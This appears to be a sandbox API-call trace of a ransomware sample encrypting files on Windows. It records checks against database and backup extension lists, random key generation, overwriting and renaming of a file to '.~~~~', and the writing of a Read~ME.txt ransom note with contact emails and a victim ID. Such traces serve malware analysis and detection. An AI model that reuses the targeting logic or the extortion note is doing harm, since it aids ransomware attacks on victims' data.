	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".ndf") returned 0x0
	[0083.081] lstrlenW (lpString=".DB") returned 3
	[0083.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DB") returned 0x0
	[0083.082] lstrlenW (lpString=".sql") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".sql") returned 0x0
	[0083.082] lstrlenW (lpString=".MYD") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".MYD") returned 0x0
	[0083.082] lstrlenW (lpString=".DBT") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DBT") returned 0x0
	[0083.082] lstrlenW (lpString=".ACCDB") returned 6
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.082] lstrlenW (lpString=".fdb") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".fdb") returned 0x0
	[0083.082] lstrlenW (lpString=".bak") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".bak") returned 0x0
	[0083.082] lstrlenW (lpString=".myd") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".myd") returned 0x0
	[0083.082] lstrlenW (lpString=".DTXS") returned 5
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".DTXS") returned 0x0
	[0083.082] lstrlenW (lpString=".ckp") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".ckp") returned 0x0
	[0083.082] lstrlenW (lpString=".dbt") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".dbt") returned 0x0
	[0083.082] lstrlenW (lpString=".db") returned 3
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".db") returned 0x0
	[0083.082] lstrlenW (lpString=".TXT") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".TXT") returned 0x0
	[0083.082] lstrlenW (lpString=".MDF") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".MDF") returned 0x0
	[0083.082] lstrlenW (lpString=".bdb") returned 4
	[0083.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".bdb") returned 0x0
	[0083.083] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.083] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.084] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.084] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x382b60
	[0083.084] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20307448662) returned 1
	[0083.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9b5b3570, dwHighDateTime=0x1d60e1e)) 
	[0083.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7e8
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7e8 | out: hHeap=0x300000) returned 1
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aab98
	[0083.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0083.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0083.085] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.085] GetLastError () returned 0x0
	[0083.085] GetLastError () returned 0x0
	[0083.085] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.086] GetLastError () returned 0x0
	[0083.086] GetLastError () returned 0x0
	[0083.086] ReadFile (in: hFile=0x120, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x189be, lpOverlapped=0x0) returned 1
	[0083.248] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7642, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.249] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x189be, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x189be, lpOverlapped=0x0) returned 1
	[0083.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0083.249] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.249] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.249] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.249] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.249] CloseHandle (hObject=0x120) returned 1
	[0083.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807a00
	[0083.250] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.~~~~")) returned 1
	[0083.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807a00 | out: hHeap=0x300000) returned 1
	[0083.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.251] GetLastError () returned 0x0
	[0083.252] RtlWakeConditionVariable () returned 0x365f70
	[0083.252] GetCurrentThreadId () returned 0x9cc
	[0083.252] GetCurrentThreadId () returned 0x9cc
	[0083.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0083.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0083.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2090 | out: hHeap=0x300000) returned 1
	[0083.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807b50
	[0083.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.393] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.393] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.394] CloseHandle (hObject=0x124) returned 1
	[0083.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0083.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0083.394] RtlWakeConditionVariable () returned 0x365f70
	[0083.394] GetCurrentThreadId () returned 0x9cc
	[0083.394] GetCurrentThreadId () returned 0x9cc
	[0083.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0083.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a21e0 | out: hHeap=0x300000) returned 1
	[0083.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0083.395] lstrlenW (lpString=".scr") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.395] lstrlenW (lpString=".cmd") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.395] lstrlenW (lpString=".dll") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.395] lstrlenW (lpString=".bat") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.395] lstrlenW (lpString=".cpl") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.395] lstrlenW (lpString=".sys") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.395] lstrlenW (lpString=".msc") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.395] lstrlenW (lpString=".com") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.395] lstrlenW (lpString=".lnk") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.395] lstrlenW (lpString=".msp") returned 4
	[0083.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.395] lstrlenW (lpString=".pif") returned 4
	[0083.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.396] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.580] lstrlenW (lpString=".sqb") returned 4
	[0083.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.580] lstrlenW (lpString=".ost") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.582] lstrlenW (lpString=".txt") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.582] lstrlenW (lpString=".mdt") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.582] lstrlenW (lpString=".BDB") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.582] lstrlenW (lpString=".eql") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.582] lstrlenW (lpString=".DBF") returned 4
	[0083.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.582] lstrlenW (lpString=".EQL") returned 4
	[0083.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.592] lstrlenW (lpString=".FDB") returned 4
	[0083.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.592] lstrlenW (lpString=".EDB") returned 4
	[0083.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.593] lstrlenW (lpString=".DACPAC") returned 7
	[0083.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.593] lstrlenW (lpString=".VHD") returned 4
	[0083.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.593] lstrlenW (lpString=".DBV") returned 4
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.605] lstrlenW (lpString=".dacpac") returned 7
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.605] lstrlenW (lpString=".sdf") returned 4
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.605] lstrlenW (lpString=".accdb") returned 6
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.605] lstrlenW (lpString=".DBX") returned 4
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.605] lstrlenW (lpString=".MDT") returned 4
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.605] lstrlenW (lpString=".SQB") returned 4
	[0083.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.605] lstrlenW (lpString=".vhd") returned 4
	[0083.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.609] lstrlenW (lpString=".bac") returned 4
	[0083.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.609] lstrlenW (lpString=".mdf") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.610] lstrlenW (lpString=".BAK") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.610] lstrlenW (lpString=".BAC") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.610] lstrlenW (lpString=".dbs") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.610] lstrlenW (lpString=".vhdx") returned 5
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.610] lstrlenW (lpString=".NDF") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.610] lstrlenW (lpString=".dat") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.610] lstrlenW (lpString=".DBS") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.610] lstrlenW (lpString=".CKP") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.610] lstrlenW (lpString=".edb") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.610] lstrlenW (lpString=".PST") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.610] lstrlenW (lpString=".dbf") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.610] lstrlenW (lpString=".SQL") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.610] lstrlenW (lpString=".pst") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.610] lstrlenW (lpString=".dbv") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.610] lstrlenW (lpString=".SDF") returned 4
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.610] lstrlenW (lpString=".dtxs") returned 5
	[0083.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.611] lstrlenW (lpString=".db3") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.611] lstrlenW (lpString=".OST") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.611] lstrlenW (lpString=".dbx") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.611] lstrlenW (lpString=".DB3") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.611] lstrlenW (lpString=".DAT") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.611] lstrlenW (lpString=".VHDX") returned 5
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.611] lstrlenW (lpString=".ndf") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.611] lstrlenW (lpString=".DB") returned 3
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.611] lstrlenW (lpString=".sql") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.611] lstrlenW (lpString=".MYD") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.611] lstrlenW (lpString=".DBT") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.611] lstrlenW (lpString=".ACCDB") returned 6
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.611] lstrlenW (lpString=".fdb") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
